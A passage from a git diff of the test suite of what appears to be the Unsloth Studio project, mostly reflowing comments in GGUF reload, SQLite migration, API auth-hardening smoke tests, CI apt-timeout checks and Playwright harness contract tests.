env-tunable.+ # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is exported q8_0 (see save_gguf)+ # because llama.cpp bf16 CPU decode is unusably slow on the runner. Run CPU-only (-ngl 0), cap the context (-c 256,+ # the model advertises 32768), and keep generation short; all env-tunable.n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8")n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4))n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256")@@ -627,9 +620,8 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:print(f" [reload:gguf] stdout (head):\n{proc.stdout[:800]}", flush = True)if proc.returncode != 0:raise SystemExit(f"llama-cli exit {proc.returncode}; stderr head: {proc.stderr[:400]}")- # llama.cpp tokenises/samples differently than mlx_lm, so the GGUF- # completion needn't match. Require non-empty output to catch real- # save/reload corruption; record EXPECT_IN_OUTPUT without gating on it.+ # llama.cpp tokenises/samples differently than mlx_lm, so the GGUF completion needn't match.+ # record EXPECT_IN_OUTPUT without gating on it.body = (proc.stdout or "").replace(PROMPT, "", 1).strip()metrics["gguf_has_expected"] = EXPECT_IN_OUTPUT in (proc.stdout or "")assert len(body) >= 4, (@@ -642,8 +634,6 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:# ----------------------------------------------------------------------------# CLI-# ---------------------------------------------------------------------------def main() -> int:diff --git a/tests/studio/sim_thread_settings_portability.py b/tests/studio/sim_thread_settings_portability.pyindex 4ec715f1c70..7cb5c8058c9 100644--- a/tests/studio/sim_thread_settings_portability.py+++ b/tests/studio/sim_thread_settings_portability.py@@ -67,9 +67,8 @@ def thread_row(title, **extra):def main():- # The Windows console is cp1252 by default, so printing a kbId containing- # emoji raises UnicodeEncodeError and fails the run for a reason that has- # nothing to do with what is being tested.+ # The Windows console is cp1252 by default, so printing a kbId containing emoji raises UnicodeEncodeError and fails+ # the run for a reason that has nothing to do with what is being tested.for stream in (sys.stdout, sys.stderr):try:stream.reconfigure(encoding = "utf-8", errors = "replace")@@ -80,8 +79,8 @@ def main():print(f"sqlite3 : {sqlite3.sqlite_version}")print()- # ALTER TABLE ADD COLUMN is SQLite 3.2.0 (2005) and COALESCE predates it, so the- # floor is far below anything shipping today. Assert it rather than assume it.+ # ALTER TABLE ADD COLUMN is SQLite 3.2.0 (2005) and COALESCE predates it, so the floor is far below anything+ # shipping today. Assert it rather than assume it.major, minor, _ = (int(p) for p in sqlite3.sqlite_version.split("."))check("sqlite supports ALTER TABLE ADD COLUMN (>= 3.2)",@@ -99,10 +98,9 @@ def main():home = fresh_home()import storage.studio_db as db # noqa: E402 - after UNSLOTH_STUDIO_HOME is set- # Build the database with the real schema, populate it the way a months-old- # install would be, then DROP the new column. Hand-writing the old CREATE TABLE- # drifts from the real one (it is missing pair_id and everything else the schema- # step indexes), so this is both more faithful and self-maintaining.+ # Build the database with the real schema, populate it the way a months-old install would be, then DROP the new+ # column. Hand-writing the old CREATE TABLE drifts from the real one (it is missing pair_id and everything else the+ # schema step indexes), so this is both more faithful and self-maintaining.legacy_ids = []for i in range(200):row = thread_row(f"legacy {i}")@@ -137,7 +135,7 @@ def main():f"columns={len(cols)}",)- db._schema_ready = False # force the migration to run against what we just built+ db._schema_ready = Falsegot = db.get_chat_thread(legacy_ids[0])check("a pre-existing thread still reads after the migration",diff --git a/tests/studio/studio_api_smoke.py b/tests/studio/studio_api_smoke.pyindex ce55c062233..ab76297b2bb 100644--- a/tests/studio/studio_api_smoke.py+++ b/tests/studio/studio_api_smoke.py@@ -25,7 +25,8 @@ _section = [0]_failed: list[str] = []_warned: list[str] = []-# When 1, audit-finding assertions become hard fails. Off by default: surfaced as WARN.+# When 1, audit-finding assertions become hard fails.+# Off by default: surfaced as WARN.STRICT_AUDIT = os.environ.get("STUDIO_API_STRICT_AUDIT", "0") == "1"@@ -113,12 +114,10 @@ def login(password: str) -> tuple[int, str | None]:return code, None-# ─────────────────────────────────────────────────────────────────────────-# 1. CORS hardening# ─────────────────────────────────────────────────────────────────────────section("CORS hardening")-# Cross-origin OPTIONS preflight. Bad pattern: wildcard origin echoed alongside credentials=true.+# Cross-origin OPTIONS preflight.req = urllib.request.Request(f"{BASE}/api/auth/login",method = "OPTIONS",@@ -200,7 +199,6 @@ if code != 200 or not NEW_TOKEN:ok("login with NEW -> 200")AUTH_HEADER = {"Authorization": f"Bearer {NEW_TOKEN}"}-# Re-test /api/system endpoints WITH auth.for endpoint in ("/api/system", "/api/system/hardware", "/api/system/gpu-visibility"):code, _ = http("GET", endpoint, headers = AUTH_HEADER)if code == 200:@@ -208,7 +206,6 @@ for endpoint in ("/api/system", "/api/system/hardware", "/api/system/gpu-visibilelse:fail(f"GET {endpoint} authenticated returned {code} (expected 200)")-# Sections 5 + 7 below need a loaded model.section("Load the GGUF for /v1 tests")code, body = http("POST",@@ -228,12 +225,9 @@ if code != 200:ok(f"loaded {GGUF_REPO}")-# ─────────────────────────────────────────────────────────────────────────-# 3. Auth state machine# ─────────────────────────────────────────────────────────────────────────section("Auth state machine")-# OLD bootstrap pw must now be rejected.code, _ = login(OLD)if code == 401:ok("login with OLD bootstrap pw -> 401")@@ -289,8 +283,6 @@ else:ok(f"login burst -> 401x{codes.count(401)} then 429 with Retry-After={retry_after}")-# ─────────────────────────────────────────────────────────────────────────-# 4. JWT-expiry rejection# ─────────────────────────────────────────────────────────────────────────section("JWT expiry")# Forge a JWT with exp=now-1 using the install's signing secret.@@ -310,7 +302,6 @@ try:/ "backend"),)- # Best-effort import; not all installs ship the backend at this path.import jwt # type: ignore[import-not-found]from auth import storage # type: ignore[import-not-found]@@ -337,8 +328,6 @@ except Exception as exc:ok(f"(skipped JWT-forge: {exc.__class__.__name__})")-# ─────────────────────────────────────────────────────────────────────────-# 5. API key lifecycle E2E# ─────────────────────────────────────────────────────────────────────────section("API key lifecycle")@@ -351,7 +340,8 @@ code, body = http(if code != 200 or not isinstance(body, dict):fail(f"POST /api/auth/api-keys -> {code}: {_shape(body)}")else:- # Flat "key" is the one-time bearer; the "api_key" sub-dict carries metadata.+ # Flat "key" is the one-time bearer;+ # the "api_key" sub-dict carries metadata.api_key = body.get("key")api_meta = body.get("api_key") if isinstance(body.get("api_key"), dict) else {}api_id = api_meta.get("id") or body.get("id")@@ -359,7 +349,6 @@ else:fail(f"create-key missing key/id: {_shape(body)}")else:ok(f"created key id={api_id}")- # List must include this id.code, body = http("GET", "/api/auth/api-keys", headers = AUTH_HEADER)if code == 200 and isinstance(body, dict):ids = [k.get("id") for k in body.get("api_keys", body.get("keys", []))]@@ -370,7 +359,6 @@ else:else:fail(f"GET /api/auth/api-keys -> {code}: {_shape(body)}")- # Use the key against /v1/chat/completions.code, body = http("POST","/v1/chat/completions",@@ -388,7 +376,6 @@ else:else:fail(f"/v1/chat/completions with API key -> {code}: {_shape(body)}")- # Delete + verify rejection.code, _ = http("DELETE",f"/api/auth/api-keys/{api_id}",@@ -443,12 +430,9 @@ else:audit(f"{path} mode={oct(actual_mode)} (expected {oct(expected_mode)})")-# ─────────────────────────────────────────────────────────────────────────-# 7. Inference lifecycle gaps# ─────────────────────────────────────────────────────────────────────────section("Inference lifecycle")-# /v1/models must list the loaded model.code, body = http("GET", "/v1/models", headers = AUTH_HEADER)if code == 200 and isinstance(body, dict):ids = [m.get("id") for m in body.get("data", [])]@@ -474,7 +458,6 @@ elif 400 <= code < 600 and code != 500:else:fail(f"/v1/embeddings -> {code} (expected 200 or 4xx/501)")-# /v1/responses minimal request.code, body = http("POST","/v1/responses",@@ -512,7 +495,7 @@ else:fail(f"bogus gguf_variant returned {code} (expected 4xx)")-# Force-reload of the same repo: child PID must change.+# Force-reload of the same repo: the child PID must change.def _llama_pid() -> int | None:code, body = http("GET", "/api/inference/status", headers = AUTH_HEADER)if code != 200 or not isinstance(body, dict):@@ -544,8 +527,6 @@ else:ok(f"force-reload -> 200 (PID change check skipped: {before_pid}/{after_pid})")-# ─────────────────────────────────────────────────────────────────────────-# 8. Endpoint-by-endpoint auth audit# ─────────────────────────────────────────────────────────────────────────section("Endpoint auth audit")# Pin the EXPECTED auth posture per route; a new unlisted route fails the audit.@@ -557,7 +538,6 @@ PUBLIC = {("POST", "/api/auth/refresh"),}EXPECTED_AUTH_ENDPOINTS = [- # Auth-required (sample -- not exhaustive; covers the key surfaces)("GET", "/api/inference/status"),("GET", "/api/inference/models"),("GET", "/v1/models"),@@ -592,9 +572,6 @@ for method, path in PUBLIC:fail(f"{method} {path} public returned unexpected {code}")-# ─────────────────────────────────────────────────────────────────────────-# Summary-# ─────────────────────────────────────────────────────────────────────────os.write(1, b"\n")if _warned:_emit(diff --git a/tests/studio/test_about_tab_xpu_runtime_contract.py b/tests/studio/test_about_tab_xpu_runtime_contract.pyindex 7a101334663..a771bab258d 100644--- a/tests/studio/test_about_tab_xpu_runtime_contract.py+++ b/tests/studio/test_about_tab_xpu_runtime_contract.py@@ -41,8 +41,8 @@ def test_about_tab_renders_the_xpu_runtime_row():def test_about_tab_shows_every_runtime_not_just_the_first():- # hardware.py sets versions["cuda"] and versions["xpu"] independently, so a dual build in- # forced-XPU mode reports both; returning the first match hid the xpu row on that host.+ # hardware.py sets versions["cuda"] and versions["xpu"] independently, so a dual build in forced-XPU mode reports+ # both; returning the first match hid the xpu row on that host.src = ABOUT.read_text(encoding = "utf-8")assert "acceleratorRuntimes" in src, "the runtime picker must return all matches"assert src.count("rows.push(") == 3, "cuda, rocm and xpu must each be pushed"@@ -53,12 +53,11 @@ def test_about_tab_shows_every_runtime_not_just_the_first():def test_the_xpu_label_resolves_in_every_locale():- # en is the fallback source, so it is the only file that MUST carry the key (check-parity.ts- # allows partial overlays). Requiring it everywhere would break the next locale added for no- # gain: the label is a proper noun, so the fallback equals a translation.+ # en is the fallback source, so it is the only file that MUST carry the key (check-parity.ts allows partial+ # overlays). Requiring it everywhere would break the next locale added for no gain: the label is a proper noun, so+ # the fallback equals a translation.assert 'xpu: "XPU",' in (LOCALES / "en.ts").read_text(encoding = "utf-8")- # Overlays must not DISAGREE with en. check-parity.ts rejects a key absent from en; this- # catches the value.+ # Overlays must not DISAGREE with en. check-parity.ts rejects a key absent from en; this catches the value.wrong = [p.namefor p in sorted(LOCALES.glob("*.ts"))diff --git a/tests/studio/test_agent_guides_verdicts.py b/tests/studio/test_agent_guides_verdicts.pyindex 4bf8718f8bf..00d60eb8176 100644--- a/tests/studio/test_agent_guides_verdicts.py+++ b/tests/studio/test_agent_guides_verdicts.py@@ -67,8 +67,7 @@ def test_run_timed_does_not_speak_for_its_callers() -> None:"run_timed still promises the caller will judge on assertions; three ""callers treat a timeout as fatal instead, and the reader sees both")- # It must still say the cap was hit -- silence here is how a stall reads as- # an ordinary non-zero exit.+ # It must still say the cap was hit -- silence here is how a stall reads as an ordinary non-zero exit.assert "did not exit within" in body@@ -93,9 +92,8 @@ def test_a_timed_out_connection_is_not_reported_as_recipe_drift() -> None:"the documented flow drifted -- the one thing a cap does not show")assert "not implicated" in branch, "the message does not clear the recipe it used to blame"- # Still fatal. Waiving a cap here would report "connection OK" for a recipe- # that printed a banner and then blocked on a headless prompt, which is the- # failure this job exists to catch.+ # Still fatal. Waiving a cap here would report "connection OK" for a recipe that printed a banner and then blocked+ # on a headless prompt, which is the failure this job exists to catch.assert "exit 1" in branch, ("a timed-out connection must stay fatal; assert_reply cannot tell a ""finished reply from a startup banner"diff --git a/tests/studio/test_apt_steps_are_bounded.py b/tests/studio/test_apt_steps_are_bounded.pyindex a585b75f8c2..54dcc894ddb 100644--- a/tests/studio/test_apt_steps_are_bounded.py+++ b/tests/studio/test_apt_steps_are_bounded.py@@ -42,35 +42,28 @@ HELPER = ".github/scripts/retry-with-apt-lock.sh"# PyYAML reads the `on:` key as the boolean True.ON = True-# apt reached directly, or via playwright, which shells out to it. `--with-deps`-# is qualified by `playwright install` on purpose: scan_packages.py takes a flag-# of the same name that has nothing to do with apt.+# apt reached directly, or via playwright, which shells out to it.+# `--with-deps` is qualified by `playwright install` on purpose: scan_packages.py takes a flag of the same name that has+# nothing to do with apt._APT = re.compile(r"\bapt-get\s+(?:update|install)\b|playwright\s+install\b[^\n]*--with-deps\b")-# `release_dpkg_lock()` waits up to 24 * 5s for the orphaned holder, then kills it-# and sleeps 5. It runs between attempts, so N attempts pay it N-1 times.+# `release_dpkg_lock()` waits up to 24 * 5s for the orphaned holder, then kills it and sleeps 5.LOCK_WAIT_SECONDS = 125-# Workflows whose apt calls do not run on a hosted runner and cannot use the-# helper. Each is here for a reason that would survive a rewrite, not because it-# was inconvenient to convert.+# Workflows whose apt calls do not run on a hosted runner and cannot use the helper. Each is here for a reason that+# would survive a rewrite, not because it was inconvenient to convert.EXEMPT_WORKFLOWS = {- # Runs apt inside bare distro containers and inside WSL, as root, with no- # checkout (the whole point is a machine with no git). There is no repo on- # disk to read the helper from, and `sudo`/`fuser` are deliberately absent --- # one leg asserts that `sudo` does not exist on the image at all.+ # Runs apt inside bare distro containers and inside WSL, as root, with no checkout (the whole point is a machine+ # with no git). There is no repo on disk to read the helper from, and `sudo`/`fuser` are deliberately absent -- one+ # leg asserts that `sudo` does not exist on the image at all."clean-machine-install-ci.yml",}# Individual steps that reach apt as the thing under test rather than as setup.-# Retrying these would retry an assertion.EXEMPT_STEPS = {- # Removes curl to construct the no-transport case. A retry loop around a- # removal is meaningless, and it is bounded by being a removal.+ # Removes curl to construct the no-transport case.("clean-machine-install-ci.yml", "Take the transport away again"),- # Installs the built .deb to find out whether the package declares its own- # runtime dependencies. A failure here is the answer, not a transport- # hiccup. Its apt *preamble* (update + xvfb) does go through the helper.+ # Installs the built .deb to find out whether the package declares its own runtime dependencies.("desktop-app-clean-machine-ci.yml", "Install with NO dev tooling, only runtime libs"),# Greps the documentation for the apt line it tells users to run. It reads an# apt command as data; it never executes one.@@ -116,8 +109,8 @@ def _worst_case_seconds(step: dict, run: str) -> int:attempts = env.get("RETRY_ATTEMPTS")per_attempt = env.get("RETRY_ATTEMPT_TIMEOUT")- # A step may also set them inline, as `RETRY_ATTEMPTS=3 bash ...helper`, which- # is how the two steps that embed the call in a larger script pass them.+ # A step may also set them inline, as `RETRY_ATTEMPTS=3 bash ...helper`, which is how the two steps that embed the+ # call in a larger script pass them.if attempts is None:inline = re.search(r"RETRY_ATTEMPTS=(\d+)", run)attempts = inline.group(1) if inline else None@@ -217,7 +210,7 @@ def test_a_workflow_that_calls_the_helper_reruns_when_the_helper_changes(path: Pcontinuepaths = spec.get("paths")if paths is None:- continue # unfiltered: it runs for every change, helper included+ continueassert HELPER in paths, (f"{path.name}: the '{event}' trigger filters on paths but does not "f"list {HELPER}, which its steps call. A change to the helper would "@@ -252,10 +245,7 @@ def test_the_helper_makes_apt_fail_fast() -> None:"""source = (REPO_ROOT / HELPER).read_text(encoding = "utf-8")- # The generated config only, not the whole file. Searching the file matches the- # header comment, which names these options while explaining them -- so deleting- # the line that actually sets one would have gone unnoticed. It did, on the- # first version of this test.+ # The generated config only, not the whole file.written = re.search(r'conf="(.*?)"\n', source, re.DOTALL)assert written, f"{HELPER} no longer builds an apt config to write"conf = written.group(1)@@ -268,8 +258,7 @@ def test_the_helper_makes_apt_fail_fast() -> None:):assert option in conf, f"{HELPER} no longer sets {option}; it writes: {conf!r}"- # Well under apt's 120s default, or it buys nothing. The whole point is that a- # dead transfer is abandoned in seconds rather than minutes.+ # Well under apt's 120s default, or it buys nothing.match = re.search(r'APT_TIMEOUT="\$\{APT_ACQUIRE_TIMEOUT:-(\d+)\}"', source)assert match, f"{HELPER} does not define a default transfer timeout"assert int(match.group(1)) <= 30, (@@ -277,8 +266,8 @@ def test_the_helper_makes_apt_fail_fast() -> None:f"default that a stalled mirror still eats the step budget")- # Ordering is the whole value: configured inside or after the retry loop, the- # first attempt -- the one that actually stalls -- runs unconfigured.+ # Ordering is the whole value: configured inside or after the retry loop, the first attempt,+ # the one that actually stalls, runs unconfigured.configure = source.index("configure_apt_fail_fast\n\nfor attempt")loop = source.index('for attempt in $(seq 1 "$ATTEMPTS")')assert configure < loop, (@@ -287,8 +276,6 @@ def test_the_helper_makes_apt_fail_fast() -> None:)# Best effort: a runner that cannot write the file must still run the command.- # `set -e` is absent here by design, but a bare failing `tee` would still leave- # the function returning non-zero into a caller that may have it set.assert "could not write" in source, (f"{HELPER} does not handle an unwritable apt config, so a runner that "f"refuses the write would fail before running the command at all"diff --git a/tests/studio/test_audio_snapshot_download_targets.py b/tests/studio/test_audio_snapshot_download_targets.pyindex 674496920d0..69103d6968b 100644--- a/tests/studio/test_audio_snapshot_download_targets.py+++ b/tests/studio/test_audio_snapshot_download_targets.py@@ -44,8 +44,7 @@ if _REPO_ROOT is None:allow_module_level = True,)-# Every module that fetches a Spark-TTS repo: TTS inference, the GGUF BiCodec decoder-# and the trainer.+# Every module that fetches a Spark-TTS repo: TTS inference, the GGUF BiCodec decoder and the trainer._AUDIO_SOURCES = ("studio/backend/core/inference/inference.py","studio/backend/core/inference/llama_cpp.py",diff --git a/tests/studio/test_auth_form_input_count.py b/tests/studio/test_auth_form_input_count.pyindex 268ed3da9c5..1e7108260a7 100644--- a/tests/studio/test_auth_form_input_count.py+++ b/tests/studio/test_auth_form_input_count.py@@ -303,10 +303,7 @@ def test_auth_flow_routes_do_not_mount_global_settings():"dialog can mount on the auth routes")assert "useSettingsDialogStore.getState().closeDialog();" in root- # The settings chord must stay inert on the auth routes. That used to be an- # early return inside a hand-rolled keydown handler; once the chords became- # rebindable it moved into useShortcut's `enabled` option. Lock the- # behaviour, not one spelling of it, so either form passes.+ # The settings chord must stay inert on the auth routes.assert "if (isAuthFlowRoute) return;" in root or "{ enabled: !isAuthFlowRoute }" in rootfor route in ("login", "change-password"):assert "isAuthFlow: true" in (FRONTEND / f"app/routes/{route}.tsx").read_text(diff --git a/tests/studio/test_autoscroll_harness_contract.py b/tests/studio/test_autoscroll_harness_contract.pyindex 630739e6838..baecd9aaaac 100644--- a/tests/studio/test_autoscroll_harness_contract.py+++ b/tests/studio/test_autoscroll_harness_contract.py@@ -59,25 +59,24 @@ def verdict(name: str) -> str:def test_chat_autoscroll_asserts_the_detached_stream_actually_grew() -> None:- # `stillDetached` says streaming did not re-pin the reader. It says nothing at all if the- # streamed tokens added no height, which the harness measures as `grewWhileDetached`.+ # `stillDetached` says streaming did not re-pin the reader. It says nothing at all if the streamed tokens added+ # no height, which the harness measures as `grewWhileDetached`.main = verdict("playwright_chat_autoscroll.py")assert 'intent["stillDetached"]' in mainassert 'intent["grewWhileDetached"]' in maindef test_research_freeze_asserts_the_dialog_took_the_modal_layer() -> None:- # The stranded-`pointer-events: none` checks are the reported symptom (an unclickable- # window). They only test anything if the dialog put the body on the modal layer first.+ # The stranded-`pointer-events: none` checks are the reported symptom (an unclickable window). They only test+ # anything if the dialog put the body on the modal layer first.main = verdict("playwright_research_freeze.py")assert 'modal["body_pointer_events_after_approve"]' in mainassert 'modal["body_pointer_events_while_open"]' in maindef test_research_freeze_asserts_the_stream_had_something_to_follow() -> None:- # An empty activity list runs no follow loop, so it clears the frame budgets by measuring- # nothing. `seed()` leaves activities behind, so the count has to be compared against the- # pre-stream baseline rather than against zero.+ # An empty activity list runs no follow loop, so it clears the frame budgets by measuring nothing. `seed()`+ # leaves activities behind, so the count has to be compared against the pre-stream baseline rather than zero.main = verdict("playwright_research_freeze.py")assert 'stream["raf_per_second"]' in mainassert 'stream["activities"]' in main@@ -93,8 +92,8 @@ def test_research_freeze_asserts_the_report_stall_and_its_own_probe() -> None:def test_research_freeze_keeps_a_hit_tested_click_in_the_report_phase() -> None:- # A synthetic element.click() skips hit testing and passes on a stranded- # `pointer-events: none` tree, so the verdict must read actionability, not just the counter.+ # A synthetic element.click() skips hit testing and passes on a stranded `pointer-events: none` tree, so the verdict+ # must read actionability, not just the counter.source_text = source("playwright_research_freeze.py")assert "page.click('[data-smoke=\"click-probe\"]'" in source_textmain = verdict("playwright_research_freeze.py")@@ -117,8 +116,7 @@ def test_harnesses_report_why_the_page_failed() -> None:def test_ansi_smoke_keeps_the_failed_page_and_the_server_output() -> None:- # The live log dies with the runner; the screenshot, body excerpt and vite's own- # transform errors are what remains.+ # The live log dies with the runner; the screenshot, body excerpt and vite's own transform errors are what remains.text = source("playwright_strip_ansi_smoke.py")assert "dump(page, vite)" in text, "the assertions do not run under the dump"assert "dump_diagnostics(page, ART" in text@@ -126,10 +124,7 @@ def test_ansi_smoke_keeps_the_failed_page_and_the_server_output() -> None:def test_the_ansi_dump_survives_a_vite_server_that_is_still_talking(tmp_path, monkeypatch) -> None:- # A daemon thread appends to the tail deque for as long as vite lives, and the dump- # runs before the server stops. Iterating it live while printing (stdout releases the- # GIL) raises "deque mutated during iteration", losing the tail in the one case it was- # added for: a reload or transform storm.+ # A daemon thread appends to the tail deque for as long as vite lives, and the dump runs before the server stops.import importlib.utilimport threadingfrom collections import deque@@ -161,8 +156,7 @@ def test_the_ansi_dump_survives_a_vite_server_that_is_still_talking(tmp_path, motalker.start()try:for _ in range(5):- # `page` is unused by the tail print and dump_diagnostics is best-effort,- # so a stub reaches the loop.+ # `page` is unused by the tail print and dump_diagnostics is best-effort, so a stub reaches the loop.smoke.dump(types.SimpleNamespace(), vite)finally:stop.set()@@ -170,32 +164,31 @@ def test_the_ansi_dump_survives_a_vite_server_that_is_still_talking(tmp_path, modef test_stream_pacing_asserts_its_long_task_probe_measured_something() -> None:- # longTaskMs is the metric the budgets turn on, and it is 0 both when the render is free- # and when the observer never ran: `observe({type: "longtask"})` aborts silently on an- # engine without the entry type. Without these, a firefox or webkit run, or a broken- # observer, scores a perfect zero and exits 0.+ # longTaskMs is the metric the budgets turn on, and it is 0 both when the render is free and when the observer never+ # ran: `observe({type: "longtask"})` aborts silently on an engine without the entry type. Without these, a firefox+ # or webkit run, or a broken observer, scores a perfect zero and exits 0.main = verdict("playwright_stream_pacing.py")assert 'results.get("longTaskSupported")' in mainassert 'results["longTasks"] <= 0' in main- # Same for an unthrottled run: the renderer keeps up with any rate this can feed, so- # every budget passes on any tree.+ # Same for an unthrottled run: the renderer keeps up with any rate this can feed, so every budget passes on any+ # tree.assert 'results["cpu_throttle"] <= 1' in maindef test_stream_pacing_asserts_the_reply_was_actually_painted() -> None:- # A page that rendered nothing scores a perfect zero on every budget, so the workload- # has to be asserted before the numbers mean anything.+ # A page that rendered nothing scores a perfect zero on every budget, so the workload has to be asserted before the+ # numbers mean anything.main = verdict("playwright_stream_pacing.py")assert 'results["paintedChars"] < floor' in mainassert 'results["arrivals"]' in main- # paintedChars only climbs, so the length at settlement must be checked too, or an empty- # final DOM passes on the peak it reached earlier.+ # paintedChars only climbs, so the length at settlement must be checked too, or an empty final DOM passes on the+ # peak it reached earlier.assert 'results["settledChars"] < floor' in maindef test_harnesses_own_their_dev_server() -> None:- # A server started beside the harness leaves the node child alive when the wrapper is- # killed, stranding the port and the step's stdout. Each harness owns its own instead.+ # A server started beside the harness leaves the node child alive when the wrapper is killed, stranding the port and+ # the step's stdout. Each harness owns its own instead.for name in ("playwright_chat_autoscroll.py","playwright_research_freeze.py",@@ -210,12 +203,10 @@ def test_harnesses_own_their_dev_server() -> None:assert "wait_for_smoke_page" in text, f"{name} gates on status rather than on content"-# The #8977 thread-weight harness deliberately asserts no timing budget: it exists to produce the-# numbers a budget would later be set from. That removes the `main()` check the tests above rely-# on, so the same rule is enforced one step earlier -- every metric it records has to reach the-# printed table. An unprinted metric there is the same failure as an unasserted one here: the-# number that would have shown the regression is collected and then thrown away.-+# The #8977 thread-weight harness deliberately asserts no timing budget: it exists to produce the numbers a budget+# would later be set from. That removes the `main()` check the tests above rely on, so the same rule is enforced one+# step earlier, every metric it records has to reach the printed table. An unprinted metric there is the same failure+# as an unasserted one here: the number that would have shown the regression is collected and then thrown away.THREAD_WEIGHT = "playwright_thread_weight.py"@@ -272,8 +263,8 @@ def _thread_weight_recorded() -> dict[str, set[str]]:def test_thread_weight_records_the_four_actions() -> None:- # Guards the parser above as much as the harness: an empty result set would make the- # coverage test below pass by finding nothing to check.+ # Guards the parser above as much as the harness: an empty result set would make the coverage test below pass by+ # finding nothing to check.recorded = _thread_weight_recorded()assert {"keystroke", "scroll", "menu", "delete"} <= set(recorded)# Not `assert keys`: _thread_weight_recorded only stores an entry when it found keys, so@@ -323,20 +314,19 @@ def test_thread_weight_proves_it_discriminates_rather_than_gating_on_a_budget()main = thread_weight_verdict()assert "GROWTH_AXES" in mainassert "no measured axis rose with N" in main- # The menu is opened non-modally now, so the body must NOT go onto the modal layer; what- # the verdict has to reject is a run that mixes the two across N, whose columns then price- # different mechanisms.+ # The menu is opened non-modally now, so the body must NOT go onto the modal layer; what the verdict has to reject+ # is a run that mixes the two across N, whose columns then price different mechanisms.assert 'menu["body_pointer_events_while_open"]' in main# An empty popover satisfies "the menu opened" and costs nothing to render.assert 'menu["items_while_open"]' in main# A delete that deleted nothing is a fast delete.assert 'deleted["messages_after"]' in main- # A keystroke that never reached the runtime still reports the double-rAF paint floor, so- # the floor has to be compared rather than left implicit in the timings.+ # A keystroke that never reached the runtime still reports the double-rAF paint floor, so the floor has to be+ # compared rather than left implicit in the timings.assert 'row["paint_floor_ms"]' in mainassert 'keystroke["runtime_text"] != keystroke["dom_text"]' in main- # Requests reaching the network and console warnings both cost a CDP round trip per- # message, so both would grow with N for reasons the app does not have.+ # Requests reaching the network and console warnings both cost a CDP round trip per message, so both would grow with+ # N for reasons the app does not have.assert 'row["stray_api_requests"]' in mainassert 'row["console_warnings"]' in maindiff --git a/tests/studio/test_backend_ci_matrix.py b/tests/studio/test_backend_ci_matrix.pyindex 42359bd78f9..89471757ed6 100644--- a/tests/studio/test_backend_ci_matrix.py+++ b/tests/studio/test_backend_ci_matrix.py@@ -38,11 +38,11 @@ FLOOR_CHECK = REPO / "tests" / "test_python39_compatibility.py"BACKEND = REPO / "studio" / "backend"-# The interpreter the full suite runs on. Written down rather than derived, so moving to-# 3.14 is a decision somebody makes and defends here, not something that follows silently-# from an edit elsewhere. Asserting only "newer than the floor" was not enough: 3.11 and-# 3.12 satisfy that too, and either would quietly give up the removals-and-deprecations-# coverage that is the whole reason the single leg is the newest one.+# The interpreter the full suite runs on.+# Written down rather than derived, so moving to 3.14 is a decision somebody makes and defends here, not something that+# follows silently from an edit elsewhere.+# Asserting only "newer than the floor" was not enough: 3.11 and 3.12 satisfy that too, and either would quietly give up+# the removals-and-deprecations coverage that is the whole reason the single leg is the newest one.CEILING = "3.13"diff --git a/tests/studio/test_backend_ci_parallel_isolation.py b/tests/studio/test_backend_ci_parallel_isolation.pyindex 3ebd546131b..c1a7239745c 100644--- a/tests/studio/test_backend_ci_parallel_isolation.py+++ b/tests/studio/test_backend_ci_parallel_isolation.py@@ -55,13 +55,11 @@ def _pytest_commands(text: str) -> list[str]:]-# Two different trees are run in parallel now, and the isolation below belongs to exactly-# one of them. The repo-root job runs `tests/` from the checkout; the matrix job runs the-# backend's own suite with `working-directory: studio/backend`, so `tests/studio/...` is-# not a path that exists for it and demanding those ignores would be nonsense.-#-# Told apart by what they ignore, because that is the thing both the ignores and this-# scan are about: only the repo-root run excludes directories that live at the repo root.+# Two different trees are run in parallel now, and the isolation below belongs to exactly one of them. The repo-root+# job runs `tests/` from the checkout; the matrix job runs the backend's own suite with+# `working-directory: studio/backend`, so `tests/studio/...` is not a path that exists for it.+# Told apart by what they ignore, because that is the thing both the ignores and this scan are about: only the+# repo-root run excludes directories that live at the repo root.REPO_ROOT_MARKER = "--ignore=tests/qlora"@@ -69,9 +67,9 @@ def _over_the_repo_root(command: str) -> bool:return REPO_ROOT_MARKER in command-# The same pairing, for the backend matrix run. Ignoring a file from the parallel run and-# running it again serially is two edits held together by nothing, and dropping the second-# is silent: the job stays green while the tests stop running.+# The same pairing, for the backend matrix run. Ignoring a file from the parallel run and running it again serially is+# two edits held together by nothing, and dropping the second is silent: the job stays green while the tests stop+# running.BACKEND_ISOLATED = [("tests/test_streaming_stripper.py", "times itself against a reference in the same process"),("tests/test_llama_cpp_wait_for_vram_settle.py", "asserts elapsed < 0.05"),@@ -90,40 +88,35 @@ BACKEND_ISOLATED = [("tests/test_profile_stats.py", "counts event-loop ticks during a 0.5s blocking call"),]-# What the scan above does NOT cover, recorded because the gap is structural rather than a-# missing case. It finds assertions that COMPARE clock-derived values. A test can depend on-# timing without any clock in it at all: test_tunnel_safe_long_post patches the keepalive-# threshold to 0.05s and makes the work sleep 0.2s, then asserts on the RESULT -- that the-# response starts with padding -- so whether it passes turns on which of two timers fired-# first, and nothing in the expression is a duration. It failed exactly that way on a-# staging 3.13 leg that had been green.+# What the scan above does NOT cover, recorded because the gap is structural rather than a missing case. It finds+# assertions that COMPARE clock-derived values. A test can depend on timing without any clock in it at all:+# test_tunnel_safe_long_post patches the keepalive threshold to 0.05s and makes the work sleep 0.2s, then asserts on+# the RESULT -- that the response starts with padding -- so whether it passes turns on which of two timers fired+# first, and nothing in the expression is a duration. It failed exactly that way on a staging 3.13 leg that had been+# green.#-# test_scan_loras_off_event_loop is the same shape from the other direction: it counts how-# many times a heartbeat coroutine ticked during a 0.3s sleep and requires at least three.-# Descheduling the worker costs ticks without the scan being wrong, and the assertion-# compares a COUNT, so again there is no duration to find.+# test_scan_loras_off_event_loop is the same shape from the other direction: it counts how many times a heartbeat+# coroutine ticked during a 0.3s sleep and requires at least three. Descheduling the worker costs ticks without the+# scan being wrong, and the assertion compares a COUNT, so again there is no duration to find.#-# Ten backend files pair a sub-second sleep with a small threshold constant. Four times the-# threshold was not enough margin for the one that failed, so the ratio is not a usable-# rule, and flagging all ten would serialise a large part of the suite on a guess.+# Ten backend files pair a sub-second sleep 